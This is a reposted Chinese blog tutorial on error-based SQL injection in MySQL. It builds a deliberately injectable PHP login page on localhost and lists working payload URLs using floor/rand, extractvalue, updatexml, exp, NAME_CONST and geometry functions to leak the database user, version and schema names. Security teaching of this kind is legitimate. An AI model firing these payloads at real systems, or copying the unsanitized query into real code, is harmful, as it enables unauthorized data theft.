码迷,mamicode.com
首页 > 数据库 > 详细

SQL报错注入的十余种注入方式

时间:2016-04-20 00:29:17      阅读:544      评论:0      收藏:0      [点我收藏+]

标签:

报错注入原理:

  由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段。
  floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误
  floor:向下取整,只保留整数部分,rand(0) -> 0~1

本地环境搭建数据库测试注入姿势:

mysql> create database sqli;
mysql> create table user (
        id int(11) not null auto_increment primary key,
        name varchar(20) not null,
        pass varchar(32) not null
    );
    
mysql> insert into user (name, pass) values (admin, md5(admin888)), (guest, md5(guest));

 

在站点根目录建立以下文件:index.php

<?php
$conn = mysql_connect("localhost", "root", "root"); // 连接数据库,账号root,密码root
if (!$conn) {
    die("Connection failed: " . mysql_error());
}

mysql_select_db("sqli", $conn);

// verify login info
if (isset($_GET[‘name‘]) && isset($_GET[‘pass‘])) {
    $name = $_GET[‘name‘];
    $pass = md5($_GET[‘pass‘]);

    $query = "select * from user where name=$name and pass=$pass";

    if ($result = mysql_query($query, $conn)) {
        $row = mysql_fetch_array($result, MYSQL_ASSOC);

        if ($row) {
            echo "<script>alert(login successful!);</script>";
        }
    } else {
        die("Operation error: " . mysql_error());
    }
}

mysql_close();
?>

<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
<center>
    <form method="get" action="">
        <label>Username:</label><input type="text" name="name" value=""/><br/>
        <label>Password:</label><input type="password" name="pass" value=""/><br/>
        <input type="submit" value="login"/>
    </form>
</center>
</body>
</html>

 

index.php的php验证登陆的代码很简单:

$name = $_GET[‘name‘];
$pass = md5($_GET[‘pass‘]);

$query = "select * from user where name=$name and pass=$pass";

$name 参数是明显的注入点

 

1、通过floor()报错:

http://localhost/index.php?name=+or+(select+1+from(select+count(*),concat(user(),0x7e,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+%23&pass=1

# 爆数据库:用关键字替换自己想要查询的东西

http://localhost/index.php?name=+or+(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)+%23&pass=1

2、通过extractvalue()报错:

http://localhost/index.php?name=+or+extractvalue(1,concat(user(),0x7e,version()))+%23&pass=1

3、通过updatexml()报错:

http://localhost/index.php?name=+or+updatexml(1,concat(user(),0x7e,version()),1)+%23&pass=1

4、通过exp()报错:详细请看:https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/

http://localhost/index.php?name=+or+EXP(~(SELECT * from(select user())a))+%23&pass=1

5、通过NAME_CONST(适用于低版本)报错:

http://localhost/index.php?name=+or+(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)+%23&pass=1

6、通过multipoint()、multipolygon()、multilinestring()、linestring()、GeometryCollection()、polygon()等函数报错:

http://localhost/index.php?name=+or+multipoint((select * from(select * from(select user())a)b))+%23&pass=1

http://localhost/index.php?name=+or+multipolygon((select * from(select * from(select database())a)b))+%23&pass=1

http://localhost/index.php?name=+or+multilinestring((select * from(select * from(select user())a)b))+%23&pass=1

http://localhost/index.php?name=+or+LINESTRING((select * from(select * from(select user())a)b))+%23&pass=1

http://localhost/index.php?name=+or+GeometryCollection((select * from(select * from(select user())a)b))+%23&pass=1

http://localhost/index.php?name=+or+polygon((select * from(select * from(select user())a)b))+%23&pass=1

 

SQL报错注入的十余种注入方式

标签:

原文地址:http://www.cnblogs.com/tyomcat/p/5410816.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!